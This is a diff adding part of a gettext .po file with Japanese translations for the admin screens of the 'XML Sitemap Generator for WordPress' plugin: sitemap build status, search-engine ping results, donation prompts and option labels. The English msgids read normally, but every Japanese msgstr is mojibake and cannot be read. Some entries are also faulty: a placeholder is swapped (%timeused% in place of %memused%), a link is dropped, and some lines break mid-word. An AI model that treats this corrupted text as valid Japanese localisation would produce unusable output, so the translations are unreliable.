+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "Popularity Contest (äººæ°ã³ã³ãã¹ã)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "æå¹åæžã¿ã®ã<a href=\"%2\">Alex King</a> ã«ãã<a href=\"%1\">Popularity Contest (äººæ°ã³ã³ãã¹ã) ãã©ã°ã€ã³</a>ãäœ¿çšããŸãã<a href=\"%3\">èš­å®</a>ãš<a href=\"%4\">äººæ°ã®æçš¿</a>ããèŠ§ãã ããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1187
+msgid "Always"
+msgstr "åžžæ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1188
+msgid "Hourly"
+msgstr "æ¯æ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1189
+msgid "Daily"
+msgstr "æ¯æ¥"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1190
+msgid "Weekly"
+msgstr "æ¯é±"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1191
+msgid "Monthly"
+msgstr "æ¯æ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1192
+msgid "Yearly"
+msgstr "æ¯å¹Ž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1193
+msgid "Never"
+msgstr "æŽæ°ãªã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "å¯ä»ãããããšãããããŸããããªãã®ååã«ããããã®ãã©ã°ã€ã³ããã®ä»ã®ç¡æãœããã®ãµããŒããéçºãç¶ããããšãã§ããŸã !"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Hide this notice"
+msgstr "ãã®éç¥ãé ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "ãã®ãã©ã°ã€ã³ãäœ¿ã£ãŠãããŠããããšãããããŸã ! 1ã¶æä»¥äžåã«ã€ã³ã¹ããŒã«ããŠãããããã§ãã­ãããããŸãåäœããŠããŠãçµæã«æºè¶³ããŠãããªãã1ãã«ã®äŸ¡å€ã¯ãããŸããã ? ããªãã®<a href=\"%s\">å¯ä»</a>ãããã®<strong>ç¡æ</strong>ã®ãœãããŠã§ã¢ã®ãµããŒããšéçºãç¶ããæ¯æŽã«ãªããŸãã<a href=\"%s\">ãã¡ãã !</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+msgid "No thanks, please don't bug me anymore!"
+msgstr "çµæ§ã§ããããããããèšããªãã§ãã ãã !"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:119
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "ãµã€ãããããæŽæ°ããŠããŸãããã­ã°ã®ãµã€ãºã«ãã£ãŠã¯ãã°ããæéããããã§ãããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:121
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "%sç§åŸã«ãµã€ãããããæŽæ°ããŸãããã­ã°ã®ãµã€ãºã«ãã£ãŠã¯ãã°ããæéããããã§ãããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:146
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:453
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML Sitemap Generator for WordPress"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:298
+msgid "Configuration updated"
+msgstr "èš­å®ãæŽæ°ããŸããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:299
+msgid "Error while saving options"
+msgstr "èš­å®ã®ä¿å­äž­ã«ãšã©ãŒãçºçããŸããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:301
+msgid "Pages saved"
+msgstr "è¿œå ããŒãžã®èš­å®ãä¿å­ããŸããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:302
+msgid "Error while saving pages"
+msgstr "è¿œå ããŒãžã®èš­å®ã®ä¿å­äž­ã«ãšã©ãŒãçºçããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:309
+msgid "The default configuration was restored."
+msgstr "åæèš­å®ã«æ»ããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:466
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "æ°ããããŒãžã§ã³ã® %1$s ããããŸãã<a href=\"%2$s\">ããŒãžã§ã³ %3$s ãããŠã³ã­ãŒã</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:468
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "æ°ããããŒãžã§ã³ã® %1$s ããããŸãã<a href=\"%2$s\">ããŒãžã§ã³ %3$s ãããŠã³ã­ãŒã<em>ãã®ãã©ã°ã€ã³ã§ã¯èªåã¢ããã°ã¬ãŒãã¯äœ¿ããŸãã</em>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:470
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "æ°ããããŒãžã§ã³ã® %1$s ããããŸãã<a href=\"%2$s\">ããŒãžã§ã³ %3$s ãããŠã³ã­ãŒããããã<a href=\"%4$s\">èªåã¢ããã°ã¬ãŒããè¡ã£ãŠãã ãã</a>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:510
+msgid "open"
+msgstr "éã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:494
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:511
+msgid "close"
+msgstr "éãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:495
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:512
+msgid "click-down and drag to move this box"
+msgstr "ã¯ãªãã¯ïŒãã©ãã°ã§ãã®ããã¯ã¹ãç§»å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:496
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:513
+msgid "click to %toggle% this box"
+msgstr "ã¯ãªãã¯ããŠãã®ããã¯ã¹ã %toggle%"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:497
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:514
+msgid "use the arrow keys to move this box"
+msgstr "ç¢å°ãäœ¿ã£ãŠãã®ããã¯ã¹ãç§»å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:498
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:515
+msgid ", or press the enter key to %toggle% it"
+msgstr "ãŸãã¯ Enter ã­ãŒãæŒããŠ%toggle% "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "About this Plugin:"
+msgstr "ãã®ãã©ã°ã€ã³ã«ã€ããŠ:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:534
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:141
+msgid "Plugin Homepage"
+msgstr "ãã©ã°ã€ã³ã®ããŒã ããŒãž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Suggest a Feature"
+msgstr "æ©èœãææ¡"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:536
+msgid "Notify List"
+msgstr "éç¥äžèŠ§"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "Support Forum"
+msgstr "ãµããŒããã©ãŒã©ã "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:538
+msgid "Report a Bug"
+msgstr "ãã°ãå ±å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Donate with PayPal"
+msgstr "PayPal ã§å¯ä»"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+msgid "My Amazon Wish List"
+msgstr "Amazon ã»ããç©ãªã¹ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_name"
+msgstr "translator_name"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_url"
+msgstr "translator_url"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:546
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "Webmaster Tools"
+msgstr "ãŠã§ããã¹ã¿ãŒããŒã«"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:547
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:549
+msgid "Site Explorer"
+msgstr "ãµã€ããšã¯ã¹ãã­ãŒã©ãŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:550
+msgid "Search Blog"
+msgstr "ãã­ã°æ€çŽ¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:553
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:555
+msgid "Sitemaps Protocol"
+msgstr "ãµã€ãããããã­ãã³ã«"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:556
+msgid "Official Sitemaps FAQ"
+msgstr "Sitemaps ãã©ã°ã€ã³å
+¬åŒ FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:557
+msgid "My Sitemaps FAQ"
+msgstr "Sitemaps ãã©ã°ã€ã³ FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:560
+msgid "Recent Donations:"
+msgstr "æè¿ã®å¯ä»:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:564
+msgid "List of the donors"
+msgstr "å¯ä»è
+äžèŠ§"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:566
+msgid "Hide this list"
+msgstr "äžèŠ§ãé ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:569
+msgid "Thanks for your support!"
+msgstr "ãµããŒãããããšãããããŸã !"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:587
+msgid "Status"
+msgstr "çŸåšã®ç¶æ
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:595
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "ãµã€ããããã¯ãŸã æ§ç¯ãããŠããŸããã<a href=\"%s\">ãã¡ããã¯ãªãã¯</a>ããŠãŸãæ§ç¯ããŠãã ããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:601
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "ããªãã®<a href=\"%url%\">ãµã€ãããã</a>ãæåŸã«æ§ç¯ãããã®ã¯<b>%date%</b>ã§ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:603
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ãµã€ãããããã¡ã€ã«ã®æžãèŸŒã¿ã«åé¡ããããŸããããã¡ã€ã«ãå­åšããæžãèŸŒã¿æš©éãããããšãç¢ºèªããŠãã ããã<a href=\"%url%\">ããã«è©³ãã</a"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:610
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "ãµã€ãããã (<a href=\"%url%\">Zip å§çž®</a>) ãæåŸã«æ§ç¯ãããã®ã¯<b>%date%</b>ã§ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Zip å§çž®ãµã€ãããããã¡ã€ã«ã®æžãèŸŒã¿ã«åé¡ããããŸããããã¡ã€ã«ãå­åšããæžãèŸŒã¿æš©éãããããšãç¢ºèªããŠãã ããã<a href=\"%url%\">ããã«è©³ãã</a"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:618
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google ã«<b>æŽæ°ãéç¥ããŸãã</b>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Google ãžã®éç¥ã«%time%ç§ããããŸãããæ§ç¯æéãç­çž®ããããããã®æ©èœãç¡å¹ã«ããæ¹ãè¯ããããããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Google ãžã®éç¥äž­ã«åé¡ãçºçããŸããã<a href=\"%s\">çµæãè¡šç€º</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:630
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "Yahoo! ã«<b>æŽæ°ãéç¥ããŸãã</b>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Yahoo! ãžã®éç¥ã«%time%ç§ããããŸãããæ§ç¯æéãç­çž®ããããããã®æ©èœãç¡å¹ã«ããæ¹ãè¯ããããããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Yahoo! ãžã®éç¥äž­ã«åé¡ãçºçããŸããã<a href=\"%s\">çµæãè¡šç€º</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:642
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr "Bing ã«<b>æŽæ°ãéç¥ããŸãã</b>ã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr "Bing ãžã®éç¥ã«%time%ç§ããããŸãããæ§ç¯æéãç­çž®ããããããã®æ©èœãç¡å¹ã«ããæ¹ãè¯ããããããŸããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr "Bing ãžã®éç¥äž­ã«åé¡ãçºçããŸããã<a href=\"%s\">çµæãè¡šç€º</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:654
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com ã«<b>æŽæ°ãéç¥ããŸãã</b>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:657
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Ask.com ãžã®éç¥ã«%time%ç§ããããŸãããæ§ç¯æéãç­çž®ããããããã®æ©èœãç¡å¹ã«ããæ¹ãè¯ããããããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:660
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Ask.com ãžã®éç¥äž­ã«åé¡ãçºçããŸããã<a href=\"%s\">çµæãè¡šç€º</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:668
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "æ§ç¯åŠçã«çŽ<b>%time%ç§</b>ãããã%memory% MB ã®ã¡ã¢ãªãäœ¿çšããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:670
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "æ§ç¯åŠçã«çŽ<b>%time%ç§</b>ããããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:674
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "ãµã€ããããã®ã³ã³ãã³ãã¯ååãã<strong>å€æŽããããŸãã</strong>ã®ã§ããã¡ã€ã«ã¯æŽæ°ããããæ€çŽ¢ãšã³ãžã³ã«éç¥ã¯éä¿¡ãããŠããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:682
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "æ§ç¯åŠçã¯ãŸã çµäºããŠããªããããããŸãããæ°ç§åŸ
+ã£ãããšã«ãã®ããŒãžãåèª­ã¿èŸŒã¿ããäœãå€æŽããªããç¢ºèªããŠã¿ãŠãã ããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:685
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "ååã®äœæ¥­å®è¡ãå®äºããŠããŸãããPHP ã¹ã¯ãªããã®ã¡ã¢ãªãŒã®æå€§å€ãäžããŠã¿ããšè¯ããããããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:687
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "ãã®ã¹ã¯ãªããã®æåŸã®ã¡ã¢ãªå©çšå€ã¯%timeused%MBã§ãããããªãã®ãµãŒããŒã®å¶éå€ã¯%memlimit%ã§ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:691
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "ãã®ã¹ã¯ãªããã®æåŸã®æ¢ç¥å®è¡æéã¯%timeused%ç§ã§ãããããªãã®ãµãŒããŒã®å®è¡æéæå€§å€ã¯%timelimit%ç§ã§ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:695
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "æçš¿ ID %lastpost% (èª€å·® +/- 100) ã®ãããã§ã¹ã¯ãªãããåæ­¢ããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:698
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "ãµãŒããŒãŸãã¯ãã­ã°äžã§äœãå€æŽãããå Žåã¯ãæåã§<a href=\"%s\">ãµã€ãããããææ§ç¯ãã</a>ã¹ãã§ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:700
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "ããæ§ç¯åŠçã®éã«äœãåé¡ãçºçãããã<a href=\"%d\">ãããã°æ©èœ</a>ãäœ¿ã£ãŠããã«å€ãã®æ
+å ±ãåŸãããšãã§ããŸãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:707
+msgid "Basic Options"
+msgstr "åºæ¬çãªèš­å®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+msgid "Sitemap files:"
+msgstr "ãµã€ãããããã¡ã€ã«:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Learn more"
+msgstr "ããã«è©³ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:714
+msgid "Write a normal XML file (your filename)"
+msgstr "æšæºã® XML ãã¡ã€ã«ãåºåãã (filename)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:720
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "gz å§çž®ããããã¡ã€ã«ãåºåãã (filename + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+msgid "Building mode:"
